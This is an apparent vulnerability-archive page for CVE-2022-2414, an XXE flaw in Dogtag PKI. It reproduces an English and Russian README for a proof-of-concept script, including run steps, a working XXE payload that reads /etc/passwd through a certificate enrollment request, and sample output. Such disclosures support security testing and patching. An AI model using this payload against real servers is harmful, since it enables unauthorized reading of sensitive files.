Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2022-2414 PoC — Dogtag PKI 代码问题漏洞

Source
Associated Vulnerability
Title:Dogtag PKI 代码问题漏洞 (CVE-2022-2414)
Description:Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
Description
is a PoC script for demonstrating an XML External Entity (XXE) vulnerability exploitation
Readme

# EN
**GenXMLExternalEntityExploit** is a PoC script for demonstrating an XML External Entity (XXE) vulnerability exploitation. The script leverages XML payloads to read sensitive files from a target server. This can be useful for security testing, penetration testing, or educational purposes.

## Features
- Sends crafted XML payload to a specified server.
- Exploits XXE vulnerabilities to read server files.
- Easily customizable target URL and payload data.

## How to Use
1. **Clone the Repository**
   ```bash
   git clone https://github.com/geniuszly/CVE-2022-2414
   ```
2. **Navigate to the Directory**
   ```bash
   cd CVE-2022-2414
   ```
3. **Run the Script**
   Make sure you have Python installed on your machine.
   ```bash
   python3 GenXMLExternalEntityExploit.py
   ```

## Configuration
- **TARGET_URL**: Update the `TARGET_URL` variable in the script to point to the target server you want to test.
- **XML_PAYLOAD**: Customize the `XML_PAYLOAD` string in the script for specific file paths or server-side operations.
- **HEADERS**: Modify HTTP headers as necessary.

## Example
By default, the script uses the following payload to read the `/etc/passwd` file:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
```

## Example output
```
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
```

## Disclaimer
This tool is meant for educational purposes and authorized security testing only. The author is not responsible for any illegal use of this tool.


# RU
**GenXMLExternalEntityExploit** — это PoC скрипт для демонстрации эксплуатации уязвимости XML External Entity (XXE). Скрипт использует XML-пейлоад для чтения конфиденциальных файлов с целевого сервера. Может использоваться для тестирования безопасности, проведения пентестов или в образовательных целях.

## Функциональные возможности
- Отправляет сформированный XML-пейлоад на указанный сервер.
- Использует уязвимость XXE для чтения файлов на сервере.
- Легко настраиваемые URL-адрес целевого сервера и содержимое пейлоада.

## Как использовать
1. **Клонируйте репозиторий**
   ```bash
   git clone https://github.com/geniuszly/CVE-2022-2414
   ```
2. **Перейдите в директорию**
   ```bash
   cd CVE-2022-2414
   ```
3. **Запустите скрипт**
   Убедитесь, что у вас установлен Python.
   ```bash
   python3 GenXMLExternalEntityExploit.py
   ```

## Настройки
- **TARGET_URL**: Измените переменную `TARGET_URL` в скрипте на URL-адрес сервера, который вы хотите протестировать.
- **XML_PAYLOAD**: Настройте строку `XML_PAYLOAD` для указания конкретных файлов или операций на стороне сервера.
- **HEADERS**: При необходимости измените HTTP-заголовки.

## Пример
По умолчанию скрипт использует следующий пейлоад для чтения файла `/etc/passwd`:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
  <Attributes/>
  <ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
```

## Пример вывода
```
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
```

## Отказ от ответственности
Этот инструмент предназначен исключительно для образовательных целей и тестирования безопасности с разрешения. Автор не несет ответственности за любое незаконное использование данного инструмента.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →